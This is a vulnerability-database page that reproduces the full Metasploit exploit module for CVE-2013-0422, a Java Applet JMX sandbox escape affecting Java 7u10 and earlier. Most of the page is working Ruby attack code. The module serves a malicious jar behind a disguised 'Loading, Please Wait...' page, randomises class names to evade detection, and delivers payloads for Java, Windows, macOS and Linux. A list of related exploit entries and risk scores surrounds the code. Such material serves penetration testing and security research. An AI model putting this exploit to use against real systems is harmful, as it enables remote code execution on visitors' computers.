Java Applet JMX Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Java Applet JMX Remote Code Execution vulnerabilit

Reporter	Title	Published	Views	Family All 153
Gitee	Exploit for CVE-2013-0422	20 Dec 202018:43	–	gitee
Gitee	Exploit for CVE-2013-0422	4 Jan 202008:24	–	gitee
Gitee	Exploit for CVE-2013-0422	5 Aug 202014:46	–	gitee
Gitee	Exploit for CVE-2013-0422	9 Apr 202017:52	–	gitee
Gitee	Exploit for CVE-2013-0422	4 Mar 202022:46	–	gitee
Gitee	Exploit for CVE-2013-0422	13 Sep 202017:50	–	gitee
Gitee	Exploit for CVE-2013-0422	6 May 201909:43	–	gitee
Gitee	Exploit for CVE-2013-0422	22 Dec 201912:15	–	gitee
Gitee	Exploit for CVE-2013-0422	11 Mar 202017:41	–	gitee
Gitee	Exploit for CVE-2013-0422	26 Jul 202023:05	–	gitee


                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require &#39;msf/core&#39;
require &#39;rex&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript =&#62; false })

	def initialize( info = {} )

		super( update_info( info,
			&#39;Name&#39;          =&#62; &#39;Java Applet JMX Remote Code Execution&#39;,
			&#39;Description&#39;   =&#62; %q{
					This module abuses the JMX classes from a Java Applet to run arbitrary Java
				code outside of the sandbox as exploited in the wild in January of 2013. The
				vulnerability affects Java version 7u10 and earlier.
			},
			&#39;License&#39;       =&#62; MSF_LICENSE,
			&#39;Author&#39;        =&#62;
				[
					&#39;Unknown&#39;, # Vulnerability discovery
					&#39;egypt&#39;, # Metasploit module
					&#39;sinn3r&#39;, # Metasploit module
					&#39;juan vazquez&#39; # Metasploit module
				],
			&#39;References&#39;    =&#62;
				[
					[ &#39;CVE&#39;, &#39;2013-0422&#39; ],
					[ &#39;US-CERT-VU&#39;, &#39;625617&#39; ],
					[ &#39;URL&#39;, &#39;http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html&#39; ],
					[ &#39;URL&#39;, &#39;http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/&#39; ],
					[ &#39;URL&#39;, &#39;http://pastebin.com/cUG2ayjh&#39; ]  #Who authored the code on pastebin?  I can&#39;t read Russian :-(
				],
			&#39;Platform&#39;      =&#62; [ &#39;java&#39;, &#39;win&#39;, &#39;osx&#39;, &#39;linux&#39; ],
			&#39;Payload&#39;       =&#62; { &#39;Space&#39; =&#62; 20480, &#39;BadChars&#39; =&#62; &#39;&#39;, &#39;DisableNops&#39; =&#62; true },
			&#39;Targets&#39;       =&#62;
				[
					[ &#39;Generic (Java Payload)&#39;,
						{
							&#39;Platform&#39; =&#62; [&#39;java&#39;],
							&#39;Arch&#39; =&#62; ARCH_JAVA,
						}
					],
					[ &#39;Windows x86 (Native Payload)&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;win&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
						}
					],
					[ &#39;Mac OS X x86 (Native Payload)&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;osx&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
						}
					],
					[ &#39;Linux x86 (Native Payload)&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;linux&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
						}
					],
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Jan 10 2013&#39;
		))
	end


	def setup
		path = File.join(Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;cve-2013-0422&#34;, &#34;Exploit.class&#34;)
		@exploit_class = File.open(path, &#34;rb&#34;) {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;cve-2013-0422&#34;, &#34;B.class&#34;)
		@loader_class = File.open(path, &#34;rb&#34;) {|fd| fd.read(fd.stat.size) }

		@exploit_class_name = rand_text_alpha(&#34;Exploit&#34;.length)
		@exploit_class.gsub!(&#34;Exploit&#34;, @exploit_class_name)
		super
	end

	def on_request_uri(cli, request)
		print_status(&#34;handling request for #{request.uri}&#34;)

		case request.uri
		when /\.jar$/i
			jar = payload.encoded_jar
			jar.add_file(&#34;#{@exploit_class_name}.class&#34;, @exploit_class)
			jar.add_file(&#34;B.class&#34;, @loader_class)
			metasploit_str = rand_text_alpha(&#34;metasploit&#34;.length)
			payload_str = rand_text_alpha(&#34;payload&#34;.length)
			jar.entries.each { |entry|
				entry.name.gsub!(&#34;metasploit&#34;, metasploit_str)
				entry.name.gsub!(&#34;Payload&#34;, payload_str)
				entry.data = entry.data.gsub(&#34;metasploit&#34;, metasploit_str)
				entry.data = entry.data.gsub(&#34;Payload&#34;, payload_str)
			}
			jar.build_manifest

			send_response(cli, jar, { &#39;Content-Type&#39; =&#62; &#34;application/octet-stream&#34; })
		when /\/$/
			payload = regenerate_payload(cli)
			if not payload
				print_error(&#34;Failed to generate the payload.&#34;)
				send_not_found(cli)
				return
			end
			send_response_html(cli, generate_html, { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; })
		else
			send_redirect(cli, get_resource() + &#39;/&#39;, &#39;&#39;)
		end

	end

	def generate_html
		html  = %Q|&#60;html&#62;&#60;head&#62;&#60;title&#62;Loading, Please Wait...&#60;/title&#62;&#60;/head&#62;|
		html += %Q|&#60;body&#62;&#60;center&#62;&#60;p&#62;Loading, Please Wait...&#60;/p&#62;&#60;/center&#62;|
		html += %Q|&#60;applet archive=&#34;#{rand_text_alpha(8)}.jar&#34; code=&#34;#{@exploit_class_name}.class&#34; width=&#34;1&#34; height=&#34;1&#34;&#62;|
		html += %Q|&#60;/applet&#62;&#60;/body&#62;&#60;/html&#62;|
		return html
	end

end

01 Jul 2014 00:00Current

0.3Low risk

Vulners AI Score0.3

EPSS0.93614